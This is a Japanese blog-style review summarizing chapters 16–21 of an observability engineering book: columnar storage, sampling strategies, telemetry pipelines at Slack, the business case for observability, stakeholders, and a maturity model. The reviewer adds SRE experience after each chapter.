拡張性の高いベンダーソリューションの上に、自社のオブザーバビリティチームが独自のレイヤーを構築する。それが、多くの組織にとって最適なアプローチなのです。私自身、SREとしてオブザーバビリティソリューションの選定に関わった経験から、著者の主張に強く共感しました。当初は、オープンソースを組み合わせた自社構築を志向していましたが、メンテナンスの負荷やスケーラビリティの課題に直面し、方針を転換しました。現在は、商用ソリューションをベースに、我々のチームが独自の機能を開発しています。これにより、オブザーバビリティという強力な武器を手に入れつつ、自社のニーズにもきめ細かく対応できるようになったのです。Chapter 16. Efficient Data Storage「Chapter 16. Efficient Data Storage」は、オブザーバビリティデータを効果的に保存・取得するための課題と、その解決策について深く掘り下げた章でした。本書は、オブザーバビリティに必要な機能要件を満たすために、データ層でどのようなトレードオフが必要なのかを丁寧に解説しています。オブザーバビリティのための機能要件本章の冒頭で、著者はオブザーバビリティのための機能要件について説明しています。本番環境で障害が発生したとき、オブザーバビリティデータに対するクエリはできるだけ迅速に結果を返さなければなりません。 数秒以内に結果が返ってこなければ、生産性のあるデバッグ作業はできません。また、イベントは高カーディナリティで高次元のデータを分析できるようにする必要があります。イベントやトレーススパン内のどのフィールドもクエリ可能でなければならず、事前に集計することはできません。 さらに、データの取得パフォーマンスを特定のディメンションに依存させてはいけません。加えて、オブザーバビリティデータは耐久性と信頼性も求められます。クリティカルな調査に必要なデータを失ったり、データストアのコンポーネントの障害によって調査が遅れたりすることは許されないのです。これらの要件は、従来のデータストレージソリューションでは満たすのが難しいものばかりです。特に、大規模なシステムになればなるほど、これらの問題はより顕著になります。時系列データベースの限界本書は、これらの要件を満たすために、時系列データベース(TSDB)が不十分であると指摘しています。TSDBは、同じタグの組み合わせが頻繁に再利用され、新しい組み合わせが稀な場合に、追加のトラフィックのコストを償却することを目的としています。しかし、オブザーバビリティの要件である高カーディナリティと高次元のデータを扱おうとすると、タグの一意な組み合わせごとに新しい時系列が作成され、カーディナリティの爆発を引き起こしてしまうのです。 これは、TSDBの設計思想と根本的に相容れないものなのです。Figure 16-2. The explosion of that same TSDB when a high-cardinality index, userid, is added より引用TSDBは、システムのパフォーマンスを単純な指標に集約することで、送信されるデータ量を削減し、クエリのパフォーマンスを向上させます。しかし、これは後でそのデータから導き出せる答えの数を制限してしまうのです。オブザーバビリティワークロードでは、イベントの事前集約は許容されません。 TSDBは、オブザーバビリティの基本的な構成要素としては限界があるのです。列指向ストレージそこで本書は、行指向ストレージと列指向ストレージのハイブリッドアプローチを提案しています。データをタイムスタンプでパーティショニングし、各セグメント内でデータを列ごとに保存する。 これにより、任意の行と列の部分スキャンを効率的に実行できるようになります。具体的には、Honeycombの独自データストアであるRetrieverの実装を例に、この手法を詳しく解説しています。Retrieverでは、特定のテナントの新しく到着したトレーススパンを、そのテナントの現在アクティブなストレージファイルセット(セグメント)の末尾に挿入します。読み取り時に適切なセグメントをクエリするために、現在のセグメントの最も古いイベントタイムスタンプと最新のイベントタイムスタンプを追跡しているのです。Figure 16-5. Segments selected for querying are those that overlap at least in part with the query window; segments that start and end before or after the query window are excluded from analysis. より引用このセグメントパーティショニングによるタイムスタンプの利点は、個々のイベントを厳密な順序に並べ替える必要がないこと、そして各セグメントの内容が追記専用のアーティファクトになることです。 これにより、書き込み時のオーバーヘッドを大幅に削減できます。各セグメント内では、イベントをフィールドごとに分解し、複数のイベントにまたがる同じフィールドの内容を一緒に保存します。これにより、クエリ時に関連する列のみにアクセスすることができるのです。列指向ストレージは、行指向ストレージと比べて、必要なサブセットのデータのみを素早く調べることができます。一方で、1つの行のデータにアクセスするには、任意の量のデータ(最大でテーブル全体)をスキャンする必要があるかもしれません。Retrieverは、この両者のトレードオフに対処するために、テーブルを手動で粗くシャーディングし、クエリ時にユーザーが適切なシャードを特定して結合する という手法を採用しています。これにより、行と列の両方の部分スキャンを効率的に実行できるようになっているのです。クエリワークロード本書は、列指向ストレージを使ってクエリワークロードを実行する方法についても説明しています。クエリの時間範囲と重なるセグメントを特定し、各セグメントでフィルタや出力に使用される列を独立にスキャンする。 その後、セグメント内およびセグメント間で集約を行い、最終的な結果を返します。この手法により、高カーディナリティと高次元のデータを効率的に扱うことができます。タイムスタンプ以外のディメンションに特権はなく、任意の複雑な組み合わせでフィルタリングできるのです。 事前集約や、データの複雑さに対する人為的な制限も必要ありません。トレーススパン上のどのフィールドもクエリ可能なのです。Retrieverでは、オープンな列ファイルが常にクエリ可能であり、クエリプロセスが部分ファイルの読み取りのためのフラッシュを強制できるようにしています。これにより、セグメントが確定し、圧縮されるのを待つことなく、リアルタイムでデータにアクセスできるようになっているのです。また、Retrieverは、データの取り込みとシリアライズの関心事をデータのクエリの関心事から分離しています。これにより、シリアライズプロセスに問題が発生しても、古いデータのクエリを妨げることはありません。 クエリエンジンへのスパイクがデータの取り込みとシリアライズを妨げないという副次的なメリットもあります。スケーラビリティと耐久性大規模なデータセットでは、水平方向のスケールアウトと、データ損失やノードの一時的な利用不可に対する耐久性が求められます。Retrieverでは、スケーラビリティと耐久性のためにストリーミングデータパターンを使用しています。 Apache Kafkaを活用し、プロデューサーやコンシューマー、ブローカーの再起動に対して弾力性のある、順序付けられた永続的なデータバッファを維持しているのです。受信プロセスとストレージプロセスの関心事を分離することで、受信ワーカーまたはストレージワーカーを自由に再起動でき、データのドロップや破損を避けることができます。 Kafkaクラスタは、災害復旧シナリオでの再生に必要な最大期間だけデータを保持すればよいのです。スケーラビリティを確保するために、書き込みワークロードに必要な数のKafkaパーティションを作成します。各パーティションは、各データセットに対して独自のセグメントセットを生成します。 クエリ時には、パーティションに関係なく、時間とデータセットに一致するすべてのセグメントをクエリする必要があります。冗長性を確保するために、複数の取り込みワーカーが任意のKafkaパーティションから消費できます。Kafkaは一貫した順序付けを保証し、取り込みプロセスは決定論的なので、単一のパーティションを消費する並列の取り込みワーカーは、同一の出力を生成する必要があります。この方法で、高カーディナリティと高次元の任意の組み合わせに対して、高速で耐久性のあるクエリを実現できるのです。オブザーバビリティデータ管理の新しいアプローチ本章から学んだ最も重要な教訓は、オブザーバビリティワークロードには独自のパフォーマンス特性が必要だということです。従来のストレージシステムでは、リアルタイムのデバッグワークフローをサポートするのに十分なパフォーマンスを発揮できません。Retrieverの実装は、これらの課題に対する一つの解決策を提示しています。タイムスタンプによるセグメントパーティショニングと、セグメント内の列指向ストレージを組み合わせることで、高速性、コスト効率、信頼性という、オブザーバビリティに不可欠な要件を満たしているのです。もちろん、これが唯一の解決策というわけではありません。Google Cloud BigQuery、ClickHouse、Druidなども、オブザーバビリティワークロードを適切に処理できる可能性があります。ただし、これらのデータストアは、オブザーバビリティ固有のワークロードに対する運用テストがまだ十分ではなく、必要な自動シャーディングをサポートするためにカスタム作業が必要になるかもしれません。本章で紹介された手法は、現代のオブザーバビリティバックエンドのアーキテクチャを理解するのに非常に役立ちます。 また、自社でオブザーバビリティソリューションを構築する必要がある場合にも、貴重な教訓となるでしょう。ElasticsearchやCassandraなど、この目的にはあまり適さないデータストアを維持するのに苦労するよりも、専用の列指向ストアを採用することを強くお勧めします。 それが、オブザーバビリティデータを管理するための新しいアプローチなのです。私自身、SREとして大規模なオブザーバビリティシステムの構築に携わった経験から、著者の指摘に強く共感しました。当初は、一般的なNoSQLデータベースを使っていましたが、クエリのパフォーマンスとコストの問題に直面しました。列指向ストレージに移行したことで、高カーディナリティと高次元のデータを、低コストかつ高速に扱えるようになったのです。また、データの取り込みとクエリを分離することの重要性も実感しました。片方のプロセスで問題が発生しても、もう片方に影響を与えないようにすることが、システム全体の安定性につながります。 Kafkaなどのストリーミングプラットフォームを活用することで、この分離をスマートに実現できるのです。Chapter 17. Cheap and Accurate Enough: Sampling「Chapter 17. Cheap and Accurate Enough: Sampling」は、オブザーバビリティデータのサンプリングについて、その戦略と実装方法を詳細に解説した章でした。本書は、サンプリングがリソース制約に対処しつつ、データの忠実性を維持するための有効な手段であることを明確に示しています。サンプリングによるデータ収集の最適化本書は、ある規模を超えると、すべてのイベントを収集・処理・保存するためのコストが、そのメリットを大幅に上回ってしまうと指摘しています。オブザーバビリティイベントが膨大なデータの洪水になると、データ量を減らすことと、エンジニアリングチームが必要とする重要な情報を失うことのバランスが問題になるのです。しかし、多くのアプリケーションでは、イベントの大半がほぼ同一で成功しています。デバッグの核心は、新たなパターンを検出したり、障害時の失敗イベントを調べたりすることです。その観点からすると、すべてのイベントをバックエンドに送信するのは無駄なのです。 代表的なイベントを選択し、実際に発生したことを再構成するために必要なメタデータとともに送信することで、オーバーヘッドを削減しつつ、データの元の形状を忠実に復元できるのです。サンプリング戦略の違い本書は、サンプリングの様々な戦略について説明しています。最もシンプルなのは、一定の確率でデータを保持する「一定確率サンプリング」です。しかし、これは、エラーケースを重視する場合や、トラフィック量が大きく異なる顧客がいる場合には効果的ではありません。より洗練された手法としては、最近のトラフィック量に基づいてサンプリング率を動的に調整する「最近のトラフィック量サンプリング」や、イベントのペイロードに基づいてサンプリング率を調整する「イベントコンテンツ(キー)サンプリング」などがあります。Figure 17-1. Different events may be sampled at different rates より引用さらに、これらの手法を組み合わせ、各キーの最近のトラフィック量に基づいてサンプリング率を動的に調整することもできます。適切なサンプリング戦略は、サービスを流れるトラフィックの特性や、そのサービスにヒットするクエリの多様性によって異なります。トレースイベントのサンプリングトレースイベントの場合、サンプリングの決定を行うタイミングも重要になります。トレーススパンは複数のサービスにまたがって収集されるため、すべてのスパンが選択される確率は比較的低くなります。すべてのスパンを確実にキャプチャするには、サンプリングの決定をいつ行うかに応じて、特別な配慮が必要です。イベントの開始時に決定を行う「ヘッドベースサンプリング」と、イベントの実行完了後に決定を行う「テールベースサンプリング」の2つのアプローチがあります。コードによるサンプリング戦略の実装本書は、これらのサンプリング戦略をGoのコード例で示しています。一定確率サンプリングから始まり、サンプリング率の記録、一貫性のあるサンプリング、ターゲットレートサンプリング、複数の静的サンプリングレート、キーとターゲットレートによるサンプリング、任意の数のキーでの動的レートサンプリングと、徐々に概念を発展させていきます。最終的には、ヘッドベースサンプリングとテールベースサンプリングを組み合わせ、下流のサービスにトレースのサンプリングを要求できるようにしています。これは、デバッグに必要なすべてのコンテキストをキャプチャするための柔軟性を提供する強力な例です。Figure 17-3. Sampled events containing a TraceId より引用大切なのは状況に応じた賢明なサンプリング本章から学んだ最も重要な教訓は、サンプリングがオブザーバビリティデータを洗練するための有用なテクニックだということです。サンプリングは大規模な環境では必須ですが、小規模な環境でも様々な状況で有用です。コードベースの例は、様々なサンプリング戦略がどのように実装されるかを示しています。OpenTelemetryのようなオープンソースのインストルメンテーションライブラリがこの種のサンプリングロジックを実装するようになってきているため、自分のコードでこれらのサンプリング戦略を再実装する必要性は低くなっています。しかし、サードパーティのライブラリに依存する場合でも、サンプリングがどのように実装されているかを理解することは不可欠です。 それにより、自分の状況に合った方法を選択できるようになるからです。何を、いつ、どのようにサンプリングするかは、コードをどのようにインストルメント化するかを決める際と同様に、組織のユニークなニーズによって定義されるのが最適です。イベントのどのフィールドがサンプリングに興味深いかは、環境の状態を理解し、ビジネス目標の達成に与える影響を判断するのにどれだけ役立つかに大きく依存します。私自身、SREとして大規模なオブザーバビリティシステムの運用に携わった経験から、著者の主張に強く共感しました。当初は、すべてのイベントを収集していましたが、データ量の爆発的な増加に悩まされました。適切なサンプリング戦略を導入したことで、リソース消費を抑えつつ、デバッグに必要な情報を確実に取得できるようになったのです。また、状況に応じてサンプリング戦略を使い分けることの重要性も実感しています。フロントエンドのアプリとバックエンドのサービスでは、最適なサンプリング方法が大きく異なります。 画一的なアプローチではなく、各システムの特性を考慮した柔軟なサンプリングが不可欠だと考えています。Chapter 18. Telemetry Management with Pipelines「Chapter 18. Telemetry Management with Pipelines」は、複雑化するアプリケーションインフラストラクチャにおいて、テレメトリデータを効果的に管理するためのパイプラインの役割について解説した章でした。著者のSuman KarumuriとRyan Katkovは、Slackでの実際の事例を通して、テレメトリパイプラインの設計と運用のベストプラクティスを共有しています。テレメトリパイプラインの利点本書は、テレメトリパイプラインを構築することで得られる様々なメリットを挙げています。まず、パイプラインによって、テレメトリデータをアプリケーションから異なるバックエンドにルーティングすることができます。 これにより、アプリケーションの変更なしに、データの流れを柔軟に制御できるようになるのです。また、セキュリティ上の理由から、特定のチームのみがテレメトリデータにアクセスできるようにしたり、GDPR(一般データ保護規則)やFedRAMP(米連邦リスク・認証管理プログラム)などのコンプライアンス要件を満たすために、データの保存場所や保持期間を制限したりすることもできます。ワークロードの分離も、テレメトリパイプラインの重要な機能です。 大量のログを生成するアプリケーションと低ボリュームのアプリケーションを分離することで、クラスタのパフォーマンスへの影響を最小限に抑えられます。さらに、パイプラインは、オブザーバビリティバックエンドの停止時にデータを一時的にバッファリングする役割も果たします。これにより、テレメトリデータのギャップを防ぎ、サービスの可視性を維持することができるのです。テレメトリパイプラインのアナトミー本書は、機能的なテレメトリパイプラインの基本的なコンポーネントとアーキテクチャについても説明しています。単純に言えば、テレメトリパイプラインは、レシーバー、バッファー、プロセッサー、エクスポーターが直列に連なったものです。レシーバーはソースからデータを収集し、バッファーはデータを一時的に保存します。プロセッサーはバッファーからデータを取得し、変換を適用してからバッファーに戻します。エクスポーターは、バッファーからデータを取り出し、テレメトリバックエンドに書き込みます。Figure 18-1. A receiver, buffer, and exporter as frequently used in simple telemetry pipelines より引用より複雑な設定では、レシーバー→バッファー→レシーバー→バッファー→エクスポーターという一連のチェーンを形成することもあります。Figure 18-2. An advanced example of a telemetry pipeline with a processor より引用パイプライン内のレシーバーやエクスポーターは、容量計画、ルーティング、データ変換など、可能な操作の1つのみを担当することが多いのです。Slackでのテレメトリ管理の事例本書は、Slackがどのようにテレメトリパイプラインを活用しているかを具体的に解説しています。Slackでは、メトリクスの集約にPrometheusを使用しています。PHPやHackアプリケーションサーバーからメトリクスを収集するために、カスタムのPrometheusライブラリを使って、リクエストごとにメトリクスをローカルデーモンに送信しています。Figure 18-3. Aggregation of metrics from a per-request process application より引用ログとトレースイベントの管理には、社内で開発したMurronというGoアプリケーションを使用しています。Murronは、レシーバー、プロセッサー、エクスポーターの3種類のコンポーネントで構成されており、毎秒数百万のメッセージを処理しています。Figure 18-4. Slack telemetry pipeline with receivers, buffers, and exporters for trace data より引用Slackでは、トレースデータの構造を簡素化するために、SpanEventという新しいフォーマットを実装しています。これにより、エンジニアがトレースを簡単に生成・分析できるようになり、CI/CDシステムのインストルメンテーションなど、新しい可能性が開けるのです。Figure 18-5. Slack’s tracing infrastructure, with applications in pink (light gray in print), receivers and exporters in blue (medium gray) より引用テレメトリパイプラインの重要性と選択本章から学んだ最も重要な教訓は、テレメトリパイプラインが、オブザーバビリティデータを効果的に管理するために不可欠だということです。 パイプラインは、データのルーティング、セキュリティ、コンプライアンス、ワークロードの分離、バッファリングなど、様々な課題に対処するための強力なツールとなります。本書は、オープンソースのツールを組み合わせることで、今日から簡単にテレメトリパイプラインを構築できると述べています。一方で、組織の成長に伴い、パイプラインの管理は複雑になり、多くの課題をもたらすことも指摘しています。ビジネスの現在のニーズに合わせてパイプラインを構築し、将来のニーズを予測しつつも、過剰な実装は避けるべきだと著者は勧めています。 モジュール性を維持し、プロデューサー、バッファー、プロセッサー、エクスポーターのモデルに従うことで、オブザーバビリティ機能をスムーズに運用しながら、ビジネスに価値を提供できるようになるのです。私自身、SREとして複雑なマイクロサービスアーキテクチャを管理した経験から、著者の主張に強く共感しました。サービス間の依存関係が複雑になるほど、各サービスが生成するテレメトリデータを適切に管理することが困難になります。テレメトリパイプラインを導入したことで、データの流れを一元的に制御し、必要な情報を適切なバックエンドに確実に届けられるようになったのです。また、Slackの事例から、オープンソースツールと自社開発ツールを組み合わせて、自社のニーズに合ったパイプラインを構築することの重要性も学びました。すべてを一から開発するのではなく、既存のツールを活用しつつ、不足する機能を補うことが、効率的で柔軟性の高いパイプラインの実現につながるのだと思います。Part V. Spreading Observability Culture大規模に可観測性を実践する際の課題に対処することに焦点を当ててますChapter 19. The Business Case for Observability「Chapter 19. The Business Case for Observability」は、オブザーバビリティの導入を組織全体に広めるために、様々なステークホルダーからの支持を得る方法について解説した章でした。本書は、オブザーバビリティの必要性を認識するアプローチとして、リアクティブとプロアクティブの2つの方法を示し、それぞれのメリットとデメリットを詳しく説明しています。オブザーバビリティ導入へのリアクティブなアプローチ本書は、まず組織がオブザーバビリティを導入する「リアクティブ」なアプローチについて述べています。多くの組織は、従来のアプローチでは対処できない深刻な課題に直面するまで、オブザーバビリティの必要性を認識しないと指摘しています。例えば、重大なサービス障害が発生した場合、根本原因分析によって単一の理由が特定されると、経営陣はその理由を基に、問題が迅速に解決されたことを示すための単純化された是正措置を求めがちです。しかし、問題を素早く解決しようとするあまり、過度に単純化されたアプローチをとると、根本的な原因ではなく、最も明白な症状に対処するだけに終わってしまうのです。また、従来のツールでは許容せざるを得なかった非効率性を認識できないことも、リアクティブなアプローチを招く原因です。オブザーバビリティがないチームは、同じような症状と根本原因を持つインシデントを追跡するために、多くの時間を浪費しています。 これは、エンジニアリングチームにアラート疲労を引き起こし、最終的には燃え尽き症候群につながります。オブザーバビリティのROI本書は、オブザーバビリティの導入が、ビジネスにもたらす4つの重要な影響について説明しています。コード品質の向上による売上増加MTTDとMTTRの短縮による インシデント対応コストの削減インシデントの防止によるコスト削減従業員の離職率低下によるコスト削減Forrester Researchが実施した調査では、これらのメリットが数値化されています。オブザーバビリティは、ビジネスの収益性と効率性に直接的かつ間接的に影響を与えるのです。オブザーバビリティ導入へのプロアクティブなアプローチ本書は、オブザーバビリティの必要性を予測し、従来のプラクティスを変革するための「プロアクティブ」なアプローチについても述べています。オブザーバビリティの導入を正当化するためには、まず、TTD(発見までの時間)とTTR(解決までの時間)の改善効果を示すことが有効です。オブザーバビリティは、従来のモニタリングツールでは発見できなかった個々のユーザーの問題を特定し、コア分析ループの自動化によって問題の根本原因を迅速に特定できるようになります。さらに、問題の検出と解決が迅速になることで、予期せぬ運用作業の量が減少し、オンコールのストレスが軽減されます。これにより、バグの蓄積が減り、新機能の開発に費やす時間が増えるのです。 また、個々のユーザーリクエストのパフォーマンスとボトルネックの原因を理解することで、サービスを迅速に最適化できるようになります。このように、オブザーバビリティは、エンジニアリングと運用の間の障壁を取り除き、ソフトウェアの開発と運用により多くの責任を持たせることができるのです。オブザーバビリティの実践本書は、オブザーバビリティを継続的な実践として導入することの重要性を強調しています。オブザーバビリティは、セキュリティやテスト可能性と同様に、生産サービスの開発と運用に責任を持つ全員が共有すべき責任なのです。効果的なオブザーバブルシステムを構築するには、技術的な能力だけでなく、心理的安全性を育む文化も必要です。ブレームレス文化は、実験を支援し、好奇心に満ちたコラボレーションを奨励する、心理的に安全な環境を育みます。 これは、従来のプラクティスを進化させるために不可欠なのです。また、オブザーバビリティの実践では、エンジニアが生産環境の問題を検出し解決するだけでなく、ビジネスインテリジェンスの質問にリアルタイムで答えることも奨励されるべきです。オブザーバビリティは、ソフトウェア開発、運用、ビジネス成果の間の人為的な壁を取り除くのです。適切なツールの選択オブザーバビリティには、コードのインストルメンテーション、テレメトリデータの保存、そのデータの分析など、技術的な能力が必要です。そのためには、適切なツールを選択することが重要です。インストルメンテーションには、OpenTelemetry(OTel)が新たな標準として登場しています。OTelを使えば、特定のベンダーのインストルメンテーションフレームワークにロックインされることなく、テレメトリデータを任意の分析ツールに送信できます。データストレージと分析は、オープンソースと独自の選択肢があります。商用ベンダーは通常、ストレージと分析をバンドルしていますが、オープンソースソリューションでは、別々のアプローチが必要です。自前のデータストレージクラスタを運用する運用負荷を慎重に検討し、ビジネスニーズの中核となる差別化要因に貴重なエンジニアリングサイクルを投資することが肝要です。十分なオブザーバビリティの判断本書は、オブザーバビリティが「十分」であるかどうかを判断する方法についても説明しています。オブザーバビリティを実践するチームは、新しいコードに適切なインストルメンテーションがバンドルされていることを習慣づける必要があります。コードレビューでは、新しいコードのインストルメンテーションが適切なオブザーバビリティ基準を満たしていることを確認すべきです。オブザーバビリティが十分であるかどうかは、文化的な行動と主要な結果を見ることでわかります。オブザーバビリティのメリットを享受するチームは、生産環境を理解し運用する自信を高めるはずです。 未解決の「ミステリー」インシデントの割合は減少し、インシデントの検出と解決にかかる時間は組織全体で短縮されるでしょう。オブザーバビリティ文化を組織全体に広めるために本章から学んだ最も重要な教訓は、オブザーバビリティの導入には、組織全体の支持が不可欠だということです。 オブザーバビリティの必要性は、重大な障害への対応という形でリアクティブに認識されることもあれば、イノベーションを阻害する要因を取り除くためにプロアクティブに認識されることもあります。いずれにせよ、オブザーバビリティのイニシアチブを支援するためのビジネスケースを作成することが肝要なのです。オブザーバビリティは、セキュリティやテスト可能性と同様に、継続的な実践としてアプローチする必要があります。オブザーバビリティを実践するチームは、コードの変更にテストと適切なインストルメンテーションを習慣づけなければなりません。 オブザーバビリティには継続的なケアとメンテナンスが必要ですが、本章で概説した文化的行動と主要な結果を探ることで、オブザーバビリティが十分に達成されたかどうかを知ることができるのです。私自身、SREとしてオブザーバビリティの導入に携わった経験から、著者の主張に強く共感しました。当初は、オブザーバビリティの必要性を感じていたのは私たちのチームだけでしたが、インシデントの検出と解決にかかる時間が大幅に短縮されたことで、他のチームからも注目されるようになりました。 そこで、オブザーバビリティの実践をエンジニアリング組織全体に広げるために、経営陣への働きかけを始めたのです。当初は難色を示していた幹部たちも、オブザーバビリティによるビジネスへの具体的なメリットを示すことで、徐々に理解を示してくれるようになりました。特に、MTTRの改善とそれによるエンジニアの生産性向上は、説得力のあるデータポイントでした。結果として、オブザーバビリティはエンジニアリング組織全体に浸透し、今では私たちのカルチャーの中核をなしています。新入社員はコードとインストルメンテーションをセットで書くことを求められ、シニアエンジニアは率先してオブザーバビリティ駆動の開発を実践しています。Chapter 20. Observability’s Stakeholders and Allies「Chapter 20. Observability\'s Stakeholders and Allies」は、組織全体でオブザーバビリティの採用を広げるために、エンジニアリングチーム以外のステークホルダーとどう連携すべきかを解説した章でした。本書は、オブザーバビリティが様々なチームの目標達成に役立つことを示し、それらのチームをオブザーバビリティ採用の同盟者にする方法を詳しく説明しています。SREやアーキテクトの仕事でも似たような話があるのでめちゃくちゃに参考になりました。 speakerdeck.comエンジニアリング以外のオブザーバビリティニーズの認識本書は、まずエンジニアリング以外のチームがオブザーバビリティを必要とするケースについて述べています。オブザーバビリティは、ソフトウェアが実際のユーザーの手にどのように動作しているかを理解するためのレンズです。 それは、ビジネスにとって非常に重要な情報なのです。例えば、新機能の採用状況、新規顧客の製品利用傾向、サービスの可用性情報、信頼性のトレンド、インシデントの予防的解決、機能のリリーススピードなど、様々な側面でオブザーバビリティが役立ちます。顧客体験の理解と改善は、組織のあらゆるチームの仕事なのです。本書は、オブザーバビリティデータの民主化を勧めています。誰もがソフトウェアの実際の動作を見られるようにすることで、各チームが独自の視点と質問を持ち込み、コミュニケーションのサイロを取り除くことができるのです。実践におけるオブザーバビリティの同盟者の獲得次に本書は、様々なステークホルダーにオブザーバビリティがビジネス課題の解決にどう役立つかを示し、オブザーバビリティ採用の同盟者にする方法を説明しています。カスタマーサポートチームカスタマーサポートチームは、顧客から問題の報告を受ける最前線です。従来のモニタリングでは、問題の検出や対応に時間がかかり、その間に顧客からの問い合わせが山積みになってしまいます。オブザーバビリティを使えば、サポートチームは顧客が報告した問題をデバッグし、既知の問題に関連しているかどうかを迅速に確認できます。 これにより、問題のトリアージを適切に行い、自動検知されない問題を特定することもできるのです。カスタマーサクセスチームとプロダクトチームカスタマーサクセスチームは、顧客が製品を効果的に使えるよう支援する、より積極的なアプローチをとります。オブザーバビリティは、製品の使われ方を理解するのに非常に役立ちます。 これは、プロダクトチームにとっても有益な情報です。例えば、新機能の採用が芳しくない場合、オブザーバビリティを使って、その機能がワークフローのどこで、どのように呼び出されているかを見ることができます。顧客の行動パターンを分析することで、機能の採用を促進する方法を見出すことができるのです。営業チームとエグゼクティブチーム営業チームは、売れる製品機能を理解し、サポートすることに関心があります。オブザーバビリティデータを使えば、どの顧客がどの機能をどのくらいの頻度で使っているかを把握できます。 これは、営業戦略の立案に役立つ定量的な分析です。エグゼクティブは、ビジネスに最大のインパクトを与える戦略的投資の方向性を確実に理解したいと考えています。オブザーバビリティデータは、エンジニアリング投資とビジネス目標を結びつけるのに役立ちます。 それにより、組織全体でのアライメントを創出できるのです。オブザーバビリティツールとBIツールの使い分け本書は、オブザーバビリティツールとビジネスインテリジェンス(BI)ツールの違いについても説明しています。オブザーバビリティツールは、コード、インフラ、ユーザー、時間の交差点を理解するために特化しています。それに対し、BIツールは非常に一般化されています。オブザーバビリティツールは、クエリの実行時間、精度、鮮度、構造、時間幅、一時性などの点で、BIツールとは異なるトレードオフを行っているのです。また、BIツールはしばしば集計メトリクスにロックインされ、ビジネス全体の超ビッグピクチャーしか見えなくなります。一方、オブザーバビリティは、製品の使用状況やユーザーの行動について質問する際に、より詳細なレベルでのデータを提供できます。オブザーバビリティツールを部門間で共有することは、共通言語を促進するための素晴らしい方法です。エンジニアはビジネス言語を使ってドメインモデルを記述することを奨励され、ビジネス側は実際のユーザーベースの多様性を理解できるようになるのです。オブザーバビリティの採用を組織全体に広げるために本章から学んだ最も重要な教訓は、オブザーバビリティが、組織内の様々なチームの目標達成に役立つ強力なツールだということです。 エンジニアリングチームだけでなく、プロダクト、サポート、カスタマーサクセス、営業、エグゼクティブなど、あらゆるチームがオブザーバビリティから恩恵を受けることができます。これらのチームがオブザーバビリティを活用して目標を達成できるよう支援することで、オブザーバビリティ採用の強力な同盟者を獲得できるのです。彼らは、オブザーバビリティ採用の取り組みに優先順位を付け、後押ししてくれるでしょう。著者が示した事例は決して網羅的ではありません。むしろ、どのようなビジネスチームがオブザーバビリティデータを活用して、より良い結果を達成できるかを考えるためのプライマーとして使えます。 他のビジネスチームの目標達成を支援することが、オブザーバビリティ採用の取り組みを推進するための鍵なのです。私自身、SREとしてオブザーバビリティの導入に携わった経験から、著者の主張に強く共感しました。当初は、オブザーバビリティの価値をエンジニアリングチーム以外に伝えるのは難しいと感じていました。しかし、様々なチームにオブザーバビリティがどう役立つかを具体的に示すことで、次第に理解と協力を得られるようになったのです。特に、カスタマーサポートチームとの連携は大きな転機となりました。オブザーバビリティを使ってお客様の問題をより迅速に解決できるようになったことで、サポートチームはオブザーバビリティの強力な支持者になってくれました。 彼らの後押しがあったからこそ、組織全体でのオブザーバビリティ採用が加速したのだと思います。Chapter 21. An Observability Maturity Model「Chapter 21. An Observability Maturity Model」は、組織がオブザーバビリティの採用を測定し、優先順位を付けるための指針となる「オブザーバビリティ成熟度モデル(OMM)」について解説した章でした。本書は、OMM が目標とする成果を明確にし、組織のオブザーバビリティ実践の成熟度を評価するための能力を特定しています。OMMについては監視からオブザーバビリティへ〜オブザーバビリティの成熟度/From Monitoring to Observability - Maturity of Observability が良かったのでオススメです。 speakerdeck.comオブザーバビリティ最前線 〜 事例LTから学ぶ、オブザーバビリティの成熟度〜という勉強会の動画もあるので追記しておきます。www.youtube.com成熟度モデルについての注意点本書は、まず成熟度モデルの限界について述べています。成熟度モデルは、ソフトウェア工学チームのパフォーマンスレベルに上限がないことや、実践が絶えず進化し改善されていることを考慮していません。 また、モデルが作成された時点での理想的な未来のスナップショットに過ぎず、著者の偏見が多くの仮定に組み込まれている可能性があります。したがって、成熟度モデルを見る際には、すべての組織に当てはまるワンサイズフィットオールのモデルは存在しないことを常に念頭に置く必要があります。成熟度モデルは、自社のニーズと望ましい成果を批判的かつ体系的に評価するための出発点として役立ちます。 また、長期的な取り組みを推進するのに役立つ、具体的で測定可能な目標を特定し、定量化するのにも役立ちます。オブザーバビリティが成熟度モデルを必要とする理由本書は、オブザーバビリティの実践を導入するチームに見られる定性的な傾向と、ソフトウェアエンジニアリングの専門家を対象とした調査から得られた定量的な分析を組み合わせて、OMMを構築したと説明しています。オブザーバビリティを導入したチームは、導入していないチームに比べて、生産環境でのソフトウェアの品質を確保する能力に自信を持つ確率が3倍高いことがわかりました。 また、オブザーバビリティを導入していないチームは、作業時間の半分以上を、新しい製品機能のリリースにつながらない作業に費やしていました。これらのパターンは、今日の複雑な社会技術システムから生まれた特性です。ソフトウェアの品質の確保や、機能のイノベーションに費やす時間などの能力を分析することで、グループ行動の病理とその解決策の両方が明らかになります。 オブザーバビリティの実践を採用することは、「よりよいコードを書く」や「よりよい仕事をする」といった個人の努力では解決できない問題の解決に役立つのです。OMMが参照する能力本書は、オブザーバビリティの実践の質に直接影響を与える5つの能力について詳しく説明しています。レジリエンスを持ってシステム障害に対応する高品質のコードを提供する複雑性と技術的負債を管理する予測可能なペースでリリースするユーザーの行動を理解するこれらの能力は、網羅的なリストではありませんが、潜在的なビジネスニーズの広さを表しています。重要なのは、これらの能力を構築することは「終わり」のない追求であり、常に継続的な改善の余地があるということです。組織のためのOMMの活用OMMは、オブザーバビリティを効果的に活用するための組織の能力を見直すのに役立つツールです。モデルは、チームの能力が欠けている点と優れている点を測定するための出発点を提供します。 オブザーバビリティの文化を採用し、広めるための計画を立てる際には、自社のビジネスのボトムラインに最も直接的に影響を与え、パフォーマンスを向上させる能力を優先することが有効です。成熟したオブザーバビリティ実践を構築することは、直線的な進歩ではなく、これらの能力は真空の中に存在しないことを覚えておくことが重要です。オブザーバビリティはそれぞれの能力に絡み合っており、ある能力の向上が他の能力の結果に貢献することもあります。 そのプロセスの展開は、各組織のニーズに固有のものであり、どこから始めるかは現在の専門分野によって異なります。各能力を見直し、優先順位を付ける際には、チーム内でこの変革を推進する明確な担当者を特定する必要があります。その取り組みをレビューし、自社に関連する明確な成果重視の指標を開発することが肝要です。 